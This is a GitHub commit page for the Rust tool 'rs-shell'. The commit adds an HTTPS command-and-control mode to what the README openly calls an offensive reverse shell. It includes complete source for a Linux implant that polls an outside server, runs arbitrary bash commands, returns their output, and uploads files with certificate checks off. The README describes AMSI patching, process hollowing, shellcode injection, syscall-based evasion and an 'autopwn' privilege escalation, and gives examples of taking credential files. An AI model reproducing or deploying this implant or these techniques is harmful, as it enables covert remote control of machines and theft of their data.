Skip to content

Commit 3331ea3

Browse files
committed
Version 0.2.0 : HTTPS infrastructure
1 parent 8e45b7c commit 3331ea3

13 files changed

+1383
-120
lines changed

.gitignore

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,5 +15,12 @@ output_*/
1515
*.raw
1616
*.bin
1717

18-
# TLS certificate
19-
certificat.pfx
18+
# TLS certificates
19+
certificat.pfx
20+
cert.pem
21+
key.pem
22+
23+
# Test files
24+
next_task.txt
25+
output.txt
26+
os.txt

Cargo.toml

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "rs-shell"
3-
version = "0.1.6"
3+
version = "0.2.0"
44
edition = "2021"
55

66
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -16,6 +16,15 @@ ctrlc = "3.4.1"
1616
clap = { version = "4.4.11", features = ["derive"] }
1717
ntapi = "0.4.1"
1818
winapi = "0.3.9"
19+
time = "0.3.36"
20+
21+
actix-web = { version = "4.9.0", features = ["rustls-0_22"] }
22+
rustls = "0.22.4"
23+
rustls-pemfile = "2.1.3"
24+
actix-files = "0.6.6"
25+
actix-multipart = "0.7.2"
26+
27+
reqwest = { version = "0.12.7", features = ["blocking", "rustls-tls", "multipart"] }
1928

2029
[dependencies.windows-sys]
2130
version = "0.52.0"
@@ -28,7 +37,9 @@ features = [
2837
"Win32_System_Diagnostics_ToolHelp",
2938
"Win32_System_LibraryLoader",
3039
"Win32_System_Kernel",
31-
"Wdk_System_Threading"
40+
"Wdk_System_Threading",
41+
"Win32_Networking_WinInet",
42+
"Win32_Networking_WinHttp"
3243
]
3344

3445
[target.'cfg(target_os = "windows")'.dependencies]

README.md

Lines changed: 61 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -11,11 +11,21 @@
1111

1212
## Description
1313

14-
RS-Shell is a TLS over TCP reverse shell developped in Rust with client and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
14+
RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
1515

16-
Client and server are both cross-platform and work on Windows and Linux systems.
16+
RS-Shell implements two modes: **TLS over TCP** and **HTTPS**.
1717

18-
For Windows client, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
18+
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the *attacker*'s machine
19+
* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
20+
* The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
21+
* The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
22+
* The client is executed on the *attacker* machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
23+
24+
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail).
25+
26+
Client, implant and server are all cross-platform and work on Windows and Linux systems.
27+
28+
For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
1929

2030
For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
2131

@@ -26,10 +36,11 @@ The project is thought in module. This means that you can easily add or remove f
2636
For the moment, the following features are present:
2737

2838
* Semi-interactive reverse shell via TLS over TCP
29-
* File upload and download between server and client
30-
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls
39+
* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant
40+
* File upload and download
41+
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)
3142
* Loading features :
32-
* Load and execute a PE in the client memory, **with or without indirect syscalls**
43+
* Load and execute a PE in the implant memory, **with or without indirect syscalls**
3344
* Load and execute a PE in a remote process memory, **with or without indirect syscalls**
3445
* Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**
3546
* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`
@@ -40,17 +51,29 @@ To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://
4051

4152
### Setup
4253

43-
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
44-
4554
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
4655

47-
A new self-signed TLS certificate can be obtained like this :
56+
#### TCP setup
57+
58+
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
59+
60+
A new self-signed PKCS12 TLS certificate can be obtained like this:
4861

4962
```bash
5063
openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
5164
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
5265
```
5366

67+
#### HTTPS setup
68+
69+
Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
70+
71+
Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
72+
73+
```bash
74+
openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
75+
```
76+
5477
### Compilation
5578

5679
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
@@ -72,23 +95,33 @@ Should run on all Windows and Linux versions (I have hope).
7295
### Usage
7396

7497
```plain
75-
Usage: rs-shell.exe [OPTIONS] --side <side> --ip <ip> --port <port>
98+
Usage: rs-shell.exe [OPTIONS] --mode <mode> --side <side> --ip <ip>
7699
77100
Options:
78-
-s, --side <side> launch the client or the listener [possible values: c, l]
79-
-i, --ip <ip> IP address to bind to for the listener, or to connect to for the clien
80-
-p, --port <port> port address to bind to for the listener, or to connect to for the client
81-
--cert-path <cert_path> path of the TLS certificate (in PFX or PKCS12 format) for the server
82-
--cert-pass <cert_pass> password of the TLS certificate for the server
101+
-m, --mode <mode> communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
102+
-s, --side <side> launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
103+
-i, --ip <ip> IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
104+
-p, --port <port> port address to bind to for the TCP listener, or to connect to for the implant
105+
--cert-path <cert_path> path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
106+
--cert-pass <cert_pass> password of the TLS PKCS12 certificate for the TCP server
107+
--key-path <key_path> path of the TLS key for the HTTPS server
83108
-h, --help Print help
84109
-V, --version Print version
85-
86-
In a session, type 'help' for advanced integrated commands
87110
```
88111

89-
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
112+
#### TCP usage
113+
114+
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
115+
116+
Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
117+
118+
#### HTTPS usage
119+
120+
First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`.
121+
122+
Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.
90123

91-
Then, on the target machine launch the client to connect back to your server with `rs-shell.exe -s c -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
124+
Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.
92125

93126
### Advanced commands
94127

@@ -129,19 +162,19 @@ Then, on the target machine launch the client to connect back to your server wit
129162

130163
The `load` commands permit to load and execute directly in memory:
131164

132-
* `load` loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for example
165+
* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example
133166
* `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
134-
* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target via the TCP tunnel
167+
* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk
135168

136169
For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.
137170

138-
On the other hand, the `syscalls` commands permit the same things, but everything is performed with indirect syscalls.
171+
On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.
139172

140-
`powpow` starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
173+
`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
141174

142-
`download` permits to download a file from the client to the machine where the listener is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`.
175+
`download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory on the server.
143176

144-
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
177+
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.
145178

146179
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
147180

@@ -150,7 +183,7 @@ On the other hand, the `syscalls` commands permit the same things, but everythin
150183
- [x] Move all the Win32API related commands to the NTAPI with indirect syscalls
151184
- [ ] Implement other injection techniques
152185
- [ ] Implement a port forwarding solution
153-
- [ ] Find a way to create a fully proxy aware client
186+
- [x] Find a way to create a fully proxy aware client
154187
- [ ] Implement a reverse socks proxy feature
155188

156189
## Disclaimers
@@ -166,4 +199,5 @@ Usage of anything presented in this repo to attack targets without prior mutual
166199
* Multiple projects by [memN0ps](https://github.com/memN0ps)
167200
* [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)
168201
* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)
169-
* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
202+
* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
203+
* [Actix](https://actix.rs/) web framework

src/https/https_linux_implant.rs

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
use reqwest::{blocking::multipart, blocking::Client};
2+
use std::fs::File;
3+
use std::io::Write;
4+
use std::{error::Error, path::Path, process::Command};
5+
use std::{thread, time};
6+
7+
fn do_stuff(cmd: &str) -> Vec<u8> {
8+
let exec = Command::new("/bin/bash")
9+
.args(["-c", cmd.trim_end_matches("\r\n")])
10+
.output()
11+
.unwrap();
12+
13+
let stdo = exec.stdout.as_slice();
14+
let _stdr = exec.stderr.as_slice();
15+
16+
if _stdr.is_empty() {
17+
stdo.to_vec()
18+
} else {
19+
_stdr.to_vec()
20+
}
21+
}
22+
23+
pub fn implant(ip: &str) -> Result<(), Box<dyn Error>> {
24+
// HTTPS implant without certificate verification
25+
let client = Client::builder()
26+
.danger_accept_invalid_certs(true)
27+
.build()?;
28+
29+
let mut url = format!("https://{}/rs-shell/index", ip);
30+
// Connect to the server and get the banner
31+
let mut response = client.get(url).send()?;
32+
if response.status().is_success() {
33+
log::debug!("Session initialized");
34+
35+
let os = std::env::consts::FAMILY;
36+
url = format!("https://{}/rs-shell/os", ip);
37+
response = client.post(url).body(os).send()?;
38+
if response.status().is_success() {
39+
log::debug!("OS send");
40+
} else {
41+
log::debug!("HTTP error: {}", response.status());
42+
}
43+
44+
loop {
45+
// Get the next task
46+
url = format!("https://{}/rs-shell/next_task", ip);
47+
response = client.get(url).send()?;
48+
if response.status().is_success() {
49+
let res = response.text()?.to_string();
50+
log::debug!("Task: {}", res);
51+
let (cmd, value) = match res.split_once(':') {
52+
Some((cmd, value)) => (cmd, value),
53+
None => (res.as_str(), ""),
54+
};
55+
56+
match cmd {
57+
"cmd" => {
58+
let res_cmd = do_stuff(value);
59+
log::debug!("{}", String::from_utf8_lossy(&res_cmd));
60+
url = format!("https://{}/rs-shell/output_imp", ip);
61+
response = client.post(url).body(res_cmd).send()?;
62+
if response.status().is_success() {
63+
log::debug!("Command executed");
64+
} else {
65+
log::debug!("HTTP error: {}", response.status());
66+
}
67+
}
68+
"upload" => {
69+
let url = format!("https://{}/rs-shell/upload{}", ip, value);
70+
let response = client.get(url).send()?;
71+
if response.status().is_success() {
72+
let path = Path::new(value.trim());
73+
File::create(path.file_name().unwrap().to_str().unwrap())
74+
.unwrap()
75+
.write_all(response.bytes().unwrap().to_vec().as_slice())?;
76+
log::debug!("Uploaded file into ./");
77+
} else {
78+
log::debug!("HTTP error uploading file: {}", response.status());
79+
}
80+
}
81+
"download" => {
82+
let url = format!("https://{}/", ip);
83+
match multipart::Form::new().file("file", value.trim_end_matches("\n")) {
84+
Ok(form) => {
85+
response = client.post(url).multipart(form).send()?;
86+
if response.status().is_success() {
87+
log::debug!("Downloaded file: {}", value);
88+
} else {
89+
log::debug!(
90+
"HTTP error downloading file: {}",
91+
response.status()
92+
);
93+
}
94+
}
95+
Err(e) => log::debug!("Error: {}", e),
96+
}
97+
}
98+
"No task" => {
99+
log::debug!("No task");
100+
}
101+
"exit" | "quit" => {
102+
log::debug!("Exiting...");
103+
break;
104+
}
105+
_ => log::debug!("Unknown command"),
106+
}
107+
} else {
108+
log::debug!("Error obtaining new task: {}", response.status());
109+
continue;
110+
}
111+
// For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value
112+
// Or setup an option to change it via the CLI
113+
thread::sleep(time::Duration::from_secs(2));
114+
}
115+
} else {
116+
log::debug!("RS-Shell server cannot be reached: {}", response.status());
117+
}
118+
119+
Ok(())
120+
}

0 commit comments

Comments
 (0)